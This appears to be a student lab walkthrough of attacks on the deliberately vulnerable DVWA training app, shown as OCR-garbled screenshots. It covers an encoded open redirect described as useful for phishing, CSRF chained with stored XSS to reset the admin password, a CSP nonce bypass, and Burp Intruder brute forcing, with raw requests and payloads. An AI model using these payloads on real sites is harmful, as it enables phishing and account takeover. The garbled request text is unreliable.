mage/avif,image/webp,image/apng, */+;q=0.8, application/s

igned-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

1 Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer:

http://localhost/Dvwas/vulnerabilitiesy/open_redirecty

= Accept-Enceding: gzip, deflate, br

& Cookle: PHPSESSID=Smeugbjc3amteuistltsozss2d; security=
medium




Here you can add another URL to redirect it to the phishing site you created. We will not show
how to create a phishing page, but this will help you to understand how the genuinely looking
URLSs redirect you to a website.

In the redirect tab, if you use another domain (google.co.ca).

Request Response
Pretty Raw Hex = n

1 GET
/DWiA/vulnerabilities/open_redirect/source/medium.php?
redirect=google.co.ca?id=1 HTTP/1.1
Host: localhost
sec-ch-ua: "MNot/A)Brand"
sec-ch-ua-mobile: 70
sec-ch-ua-platform: "Linux"
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win84; x6&4)
ApplewWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.6478.127 Safari/537.36
Accept:
text/html, application/xhtml+xml, application/xml;g=0.9,1
mage/avif,image/webp,image/apng,*/*;q=0.8,application/s
1gned-exchange;v=h3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: 71
1% Sec-Fetch-Dest: document
14 Referer:

http://localhost/DWWA/vulnerabilities /open_redirect/
15 Accept-Encoding: gzip, deflate, br
16 Cockie: PHPSESSID=Sméugbjc3dmteuiStltsc2ss2d; security=

"Chromium®;

(LSRN

medium
17 Connegtion: keep:alive
18
19

Encode the URL to keep the redirection link hidden.

Request
Pretty ~ Raw  Hex [ n =
1 GET

/0wiA/vulnerabilities/open_redirect/source/medium. php?
redirect=%67%61%61%67%6c%65%2e%63%6f %2e%63%6171d=1
HTTP/1.1

Host: localhost

sec-ch-ua: "Mot/A)Brand";v="8", "Chromium';v="128"
sec-ch-ua-mobile: 70

sec-ch-ua-platform: "Linux"

Accept-Language: en-US

7 Upgrade-Insecure-Requests: 1

o User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebK1t/537.36 (KHTML, like Gecko)
Chrome/126.0.6478.127 Safari/537.36

Accept:

text/html,application/xhtml+xml, application/xml;q=0.9,1
mage/avif,1mage /webp,1mage/apng, */*; q=0.8, application/s
1gned-exchange;v=h3;q=0.7

10 Sec-Fetch-Site: same-origin

11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-User: 71

12 Sec-Fetch-Dest: document

uEwN



Let’s send and check the response.

R

1

w N

(LS

o)

Pretty

equest

w n
GET /DWWA/vulnerabilities/open_redirect/source/medium.php?
redi r'ect:,’,’%GT%Gf%Gf%G?%GC%GS%ZE%GB%Gf%29%63%61[? 1d=1
HTTP/L1.1

Host: localhest

sec-ch-ua: "Mot/A)Brand";v="8", "Chromium';v="128"
sec-ch-ua-mebile: 70

sec-ch-ua-platform: "Linux"

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebkit/537.36 (KHTML, like Geckeo) Chrome/126.0.6478.127
Safari/537.36

Accept:

Raw Hex

Response

Pretty Raw Hex.

HTTP/1.1 302 Found

Date: Thu, 05 Dec 2024 19:04:22 GMT
Server: Apache;2.4.562 (Debian)
location: //google.co.ca?id=1
Content-Length: 0

Keep-Ahve: timecut=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

Follow Redirection to check whether the URL gets redirected or not.

Request

Pretty

[

4
5

Raw

Hex

FEF /71d=1 HTTP/1.1

Host: google.co.ca

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/S.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127
Safari/537.36

Accept:

text/html, application/xhtml+xml, application/xml; q=0.9, 1 mage/
avif,image/webp,image/apng,*/*;q=0.8, application/signed-exch
ange;v=b3;q=0.7

Referer: http://localhost/

Accept-Encoding: gzip, deflate, br

It was successfully redirected.

Response

Raw Hex Render

Pretty
1

4
]

HTTP/1.1 200 OK

Date: Thu, 05 Dec 2024 19:05:31 GMT
Server: Apache

Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIM
Content-Length: 2712

Keep-Alive: timecut=S, max=100
Connection: Keep-Alive
Content-Type: text/html

<!doctype html public "-//w3c//dtd html 4.0
transitional//en"=>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
<meta name="Author" content="helen"=
<meta name="GENERATOR" content="Mozillas/4.73 [en]
(Winos; U) [Netscape]"=
<title>
Welcome to a Reg.CA domain! Bisnvenus a une Reg.CA
domaine!
=/title>
</head>
<body background="/old/backl3vp.gif"=

<div STYLE="positicn: absolute; left: -1px; top:
.
22 <table BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH="
100%" =
<tr>
<td=

-1 px;

<img SRC="/old/regcalogomap.gif" BORDER=0 height

=77 width=150=>
</td>

<td ALIGN=CENTER VALIGN=TOP=
<b=>
<font face="Arial,Helvetica"s
=font color="#FFoo00"=>
<p>
<font size=-1=>
This domain is not available or is
reserved by the registry.<br=
If you think you have the right to

register this domain please contact us

at:
<a href="#">
reserved@reg.ca
<fa=
</p=/font>

CSRF combined with XSS Stored



Change the password.

Home .~ Vulnerability: Cross Site Request Forgery (CSRF)

Instructions ‘

Change your admin password:
Setup | Reset DB ‘

o — | Test Credentials |

Command Injection

New password:
‘ eessssee ‘
Confirm new password:

| Change |

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

Password Changed.
SQL Injection (Blind)

XSS (DOM) Note: Browsers are starting to default to setting the flag to Lax, and in doing so are Killing off
some types of CSRF attacks. When they have completed their mission, this lab will not work as originally

XSS (Reflected) expected.

XSS (Stored) Announcements:

CSP Bypass .

JavaScript *

Authorisation Bypass

As an alternative to the normal attack of hosting the malicious URLs or code on a separate host, you could try

Open HTTP Redirect
P using other vulnerabilities in this app to store them, the Stored XSS lab would be a good place to start.

|
|
|
|
|
|
|
|
Weak Session IDs ‘
|
|
|
|
|
|
|
|

Cryptography .
Mare Information

DVWA Security | .

PHP Info |

About ‘

Logout ‘

You can see the URL and change the password there to which password you want to use to
gain access to the website.

% < Vulnerability: Cross Site [ % Content Security

QO [ o localhos

Content Security Policy (¢ *  +

Q. localhost/DVWA/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

rehiime: ©Ceiless o Gty @ http://localhost/DVWA/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#f — Visit

Go to XSS (Stored). Right click and go to Inspect>Inspector and select the Name Tab.



e Vulnerability: Stored Cross Site Scripting (XSS)

Instructions
Setup | Reset DB

Name *

Brute Force Message s
Command Injection

CSRF

File Inclusion

File Upload Name: test
Insecure CAPTCHA Message: This is a test comment
SQL Injection

SQL Injection (Blind)
Weak Session IDs
XSS (©OM)

XSS (Reflected)

Sign Guesthook = Clear Guestbook

More Information

CSP Bypass
JavaScript
Authorisation Bypass
Open HTTP Redirect
Cryptography

*

html > body.heme

Now go to the XSS Stored and on the name tab write an image tag with the changed password
URL.

For me itwas: <img
src="/dvwal/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Chang
e#>ll

Type anything in the message bar and click “Sign Guestbook.”



Home ~ Vulnerability: Stored Cross Site Scripting (XSS)

Instructions ‘
‘ Name * ‘ |

Setup / Reset DB

Message *
Brute Force

Eommandlinjgction | Sign Guestbook || Clear Guestbook |

CSRF

File Inclusion

File Upload Name: test

Message: This is a test comment.

Name:

Message: Sigma Boy

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

XSS (DOM) More Information

XSS (Reflected)

CSP Bypass

JavaScript

Authorisation Bypass

Open HTTP Redirect

|
|
|
|
|
|
|
|
Weak Session IDs ‘
|
|
|
|
|
|
|
|

Cryptography

Log out of DVWA

........

Login



Select the Selector button by using the selector button and change the Password Type to “Text.”
ugger ‘N Metwork {} Style Edito Storage - Accessibilit

autocomplete="off" size="20" name="password"=

Now log in with the password that you have changed from the URL and pasted on the image tag
in the XSS stored name tab.

DVWA

Username

admin

Password

admin

| Login |

Congratulations, you have successfully logged in as the administrator.

CSP Bypass



Write anything to drop that text on the page.

Home Vulnerability: Content Security Policy (CSP) Bypass
Instructions
Setup / Reset DB Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.

|[remote ][ inciuge |

Brute Force
Command injection | More Information
CSRF
File Inclusion :
File Upload °
Insecure CAPTCHA Module developed by
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
[csPaypass |

Javascript
Authorisation Bypass
Open HTTP Redirect
Cryptography

DVWA Security
PHP Info
About

Logout

Username: admin View Source | View Help
Security Level: medium

Locale: en

SQLI DB: mysql

Turn on Burp Suite and intercept it. Get the Request Response after forwarding it. You get the
“nonce” from here.

Response from http://localhost:80/DVWANuLnerabilities/csp/ [127.0.0.1]
Forward Drop Intercept is on Action Open browser

Pretty Raw Hex Render = n
HTTP/1.1 200 OK

Date: Thu, OS Dec 2024 21:13:09 GMT

Serwer: Apache/s2.4.62 (Debian)

Expires: Tue, 23 Jun 2008 12:00:00 GMT

Cache-centrol: no-cache, must-revalidate

Pragma: no-cache

Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ2SpbmcgdGegz2lzzseshaUgdxa=';
X-XSS-Protection: O

Vary: Accept-Encoding

Content-Length: 4303

Keep-Alive: timeout=S, max=100

Connection: Keep-Alive

Content-Type: text/html;charset=utf-8

DONOUEWN R

<! DOCTYPE html=
<html lang="en-GB"=>

<heads>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<t\1"5{::rab111ty: Content Security Policy (CSP) Bypass :: Damn VYulnerable wWeb Application (DWWA)
</title=

<link rel="stylesheet" type="text/css" href='"../../dvwa/css/main.css" />

<link rel="icon® type="\image/ico" href='.. /. sfavicon.ico* /=

<script type="text/javascript® src="../../dvwa/js/dvwaPage.js">

</script=

</head=>

<body class="home"=
<div id="container"=>

<div id="header"s=

<img sre=" .. /dvwasimages/logo.png" alt="Damn Vulnerable web Application" />

</div>

Open the Text editor and create a script nonce header.



The <script nonce="> is a script-nonce header that uses a nonce to prove that a specific script
is the one being called. A nonce is a random or semi-random number that is generated for a
specific use. The term stands for "number used once" or "number once."

<script nonce=="TmV2ZXIgZ29pbmcgdG8gZ212ZSB5b3UgdXA=">alert(1)</script>

Paste it on the drop bar, and it will include any file inside. A hacker might upload malware to
hack the web database.

Vulnerability: Content Security Policy (CSP) Bypass

Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.

||ce::“TmV2ZXI9229phmcgdGBgZZIZZSB5b3UngA:“>alen(1)<lscripD | ‘ Include ‘

You have successfully uploaded the file.

Brute Force (Medium)



At first, | opened Burp Suite and intercepted the login attempt from a brute force attack.

Burp Suite Community Edition v2024.5.5 - Temporary Project

Burp Project Intruder Repeater View Help

Dashboard ~ Target . Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Learn
HTTP history WebSockets history {8} Proxy settings
(P Request to httpiillocalhost:80 [127.00.1]
Forward Drop Int Action Open browser | W
Pretty  Raw  Hex ® n Inspector =03 = =

GET /DWwA/vulnerabilities/csrf/?password_new=admin&password_conf=password&change=Cchange HTTP/1.1

1
2 Hest: localhost Request attributes 2
3 sec-ch-ua: "Not/A)Brand";v="8", "Chromium';v="126"
4 sec-ch-ua-mobile: 70
sec-ch-ua-platform: *Linux* (R P R [T RS 3
Accept-Language: en-US
Upgrade-Insecure-Requests: 1 Request body parameters 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif , image /webp,image/apng, */*;q=0.8, application/signed-exchange; v=h3; g=0.7 Request cookles 2
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate Request headers e

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: http://localhost/Dwia/vulnerabilities/csrf/
Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=03gftjp9sngsk372kfosptn2ve; security=medium
Connection: keep-alive

h el 0 highlights

@ ¢|[+] s

Eventlog(2)*  Allissues (@ Memory: 98.8MB

Then | copy the Proxy into the intruder using Ctrl + I. | use Add-on to the password, cookie,
security field.

e Communi

{6} Settings
Hren (2
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2
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v
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z
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and

Burp Project Intruder Repeater View Help
Dashboard ~ Target g Intruder  Repeater  Collaborator  Sequencer  Decoder ~ Comparer  Logger  Organizer  Extensions  Learn

q 1= 25+

Positions  Payloads  Resourcepool  Settings

(@ Chooseanattacktype

Attack type: | Sniper

4 @ Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: | http://localhost Update Host header to match target

GET /DVWA/vulnerabilities/csrf/?password_new=admingpassword_conf=Spasswords&change=Change HTTP/1.1
Host: localhest
sec-ch-ua: "Not/A)Brand";
sec-ch-ua-mobile: 70
sec-ch-ua-platform: *Linux"

Accept-Language: en-US

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (windows NT 10.0; WinG4; x64) ApplewebKit/S37.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36

Accept: text/html,application/xhtml+xnl,application/xml;q=0.9, image/avif,image/webp, image/apng, */*;q=0.8, application/signed- exchange; v=h3;0=0.7
0 Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

2 Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: http://localhost/DWiA/vulnerabilities/csrf/

Accept-Encoding: gzip, deflate, br

Cookie: PHPSESSID=§03gftjpSsngsk372kfosptnaves; security=Smediumg

7 Connection: keep-alive

, "Chromium®;v="126"

SO oW~

[eXHIGIENET £ 3nighlights

3 payload positions Length: 833

@ Memory:99.8MB

Eventlog(2)®  Allissues

Settings.
g

Add §

Clear §
Auto §

Refresh

Clear

Then | go to the payload option and select the password file | created in order to brute-force.
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Burp Project Intruder Repeater View Help

Dashboard ~ Target  © intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Learn & settin
1 % 2 x4 o
Positions  Payloads  Resourcepool  Settings

Payload sets [ startattack |

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways

Payload set: | 1 ~ | Payload count: 6

Payload type: | Simple List ~ | Request count: 18

(2) Payload settings [Simple list]

This payload type Lets you configure a simple list of strings that are used as payloads.

paste 1224
12345
Load ..
admin
Remove password
a hacker >
ear 123

Deduplicate

Add

m

Not available in Community Edition

(?) Payload processing

You can define rules to perform various processing tasks on each payload before it is used.

Add Enabled  Rule
Edit
Remove
>
up
Down
(3) Pavload encedina
Eventlog(2)®  Allissues @ Memory: 99.8MB
= el
Attack  Save
< 3.Intruderattack of http:/ilocalhost Attack w save v @
Results  Positions  Payloads  Resourcepool  Settings
7 Intruder attack results filter: Showing all items
Request Position Payload Status code Response received Error Timeout Length Comment
0 0 200 1 5898
1 1 1234 200 8 5898
2 1 12345 200 1 5800
3 1 admin 200 5 5801
4 1 password 200 0 5898
5 1 hacker 200 2 5899
6 1 123 200 3 5800
7 2 1234 302 0 343
8 2 12345 302 0 343
9 2 1 343

admin 302

A 200 status code means the request was successful, and the server returned the requested
content. In brute-forcing, it often indicates a correct login or successful access to a resource.



